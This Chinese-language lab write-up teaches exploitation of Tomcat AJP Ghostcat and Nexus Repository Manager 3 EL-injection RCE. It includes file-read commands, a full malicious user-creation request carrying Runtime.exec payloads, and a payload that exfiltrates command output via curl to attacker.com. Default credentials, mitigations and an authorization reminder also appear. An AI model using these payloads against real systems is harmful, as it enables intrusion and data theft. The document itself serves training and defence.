记一次某春秋靶场<宇宙尘埃>打靶体验
字数 1828 2025-08-24 16:48:07
Apache Tomcat AJP漏洞与Nexus Repository Manager 3 RCE漏洞实战教学
一、Apache Tomcat AJP漏洞(CVE-2020-1938)利用
1. 漏洞背景
Apache Tomcat服务器默认会开启AJP连接器(端口8009),用于与其他Web服务器通过AJP协议交互。该漏洞允许攻击者通过恶意AJP请求读取或包含Web应用根目录下的任意文件,配合文件上传可实现RCE。
2. 影响版本
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
3. 漏洞检测
使用nmap扫描目标端口:
nmap -sV --version-intensity 9 <目标IP> -p 8009
若发现AJP协议服务运行在8009端口,则可能存在漏洞。
4. 漏洞利用步骤
-
获取利用工具:
- 从GitHub获取AJP漏洞利用工具,如ajp-shooter
-
文件读取:
python ajp_shooter.py <目标IP> 8009 /WEB-INF/web.xml read这将读取目标服务器的web.xml配置文件
-
获取flag:
- 通过读取index.jsp或其他关键文件获取flag
python ajp_shooter.py <目标IP> 8009 /index.jsp read
5. 防御措施
- 升级Tomcat到安全版本
- 关闭AJP Connector或将其绑定到127.0.0.1
- 在server.xml中注释掉或删除AJP Connector配置
二、Nexus Repository Manager 3 RCE漏洞(CVE-2020-10199)利用
1. 漏洞背景
Nexus Repository Manager 3是一款软件仓库管理工具,用于存储和分发Maven、NuGET等软件源。3.21.1及之前版本存在任意EL表达式注入漏洞,可导致RCE。
2. 影响版本
- Nexus Repository Manager 3.x OSS/Pro <= 3.21.1
3. 漏洞利用步骤
-
登录系统:
- 默认凭证:admin/admin
-
使用Burp Suite抓包:
- 拦截任意请求,寻找可利用的EL表达式注入点
-
构造恶意请求:
POST /service/rest/beta/security/users HTTP/1.1 Host: <目标IP>:<端口> Content-Type: application/json { "userId": "test", "firstName": "test", "lastName": "test", "email": "test@test.com", "password": "test", "status": "active", "roles": ["${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}"] } -
构造命令回显:
- 由于默认无回显,需要构造特殊payload实现回显
${"".getClass().forName("java.lang.Runtime").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "curl http://attacker.com/$(id|base64)")} -
查找flag:
- 通常位于根目录或web目录下
${"".getClass().forName("java.lang.Runtime").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "cat /flag.txt")}
4. 防御措施
- 升级到最新版本
- 修改默认管理员密码
- 限制访问IP范围
- 启用身份验证和授权
三、通用渗透测试技巧总结
-
非HTTP协议识别:
- 使用nmap等工具识别非常见协议服务
- 注意AJP(8009)、RMI(1099)等非HTTP端口
-
默认凭证尝试:
- admin/admin
- root/root
- guest/guest
-
漏洞利用思路:
- 先信息收集,确定服务版本
- 搜索对应版本的已知漏洞
- 优先尝试RCE、文件读取等高危漏洞
-
文件包含与RCE结合:
- 先上传文件再包含执行
- 注意文件权限和路径问题
-
flag查找技巧:
- 检查常见位置:/flag, /root/flag, /var/www/html/flag
- 使用find命令搜索:
find / -name "*flag*" - 检查环境变量:
env
-
无回显RCE处理:
- 使用DNS或HTTP外带数据
- 写入临时文件再读取
- 延时判断(如ping -c 4)
四、靶场实战经验
-
第一个靶场:
- 识别AJP协议(8009端口)
- 使用Ghostcat漏洞读取文件
- 关键点:非HTTP协议识别、AJP协议利用
-
第二个靶场:
- Nexus Repository Manager默认凭证
- EL表达式注入实现RCE
- 关键点:默认凭证尝试、无回显RCE处理
-
第三个靶场:
- 后台SQL执行功能滥用
- MySQL文件写入技巧
- 关键点:权限绕过、文件写入位置选择
五、工具推荐
-
AJP漏洞利用:
- ajp-shooter (GitHub)
- Ghostcat scanner
-
Nexus漏洞利用:
- Nexus-Exploit (GitHub)
- ysoserial (生成payload)
-
综合工具:
- Metasploit (有相关漏洞模块)
- Burp Suite (抓包和漏洞探测)
-
信息收集:
- nmap
- dirsearch
- gobuster
通过本教学文档,您应该能够掌握Apache Tomcat AJP漏洞和Nexus Repository Manager 3 RCE漏洞的利用方法,以及相关的渗透测试技巧。在实际测试中,请确保获得合法授权,遵守法律法规。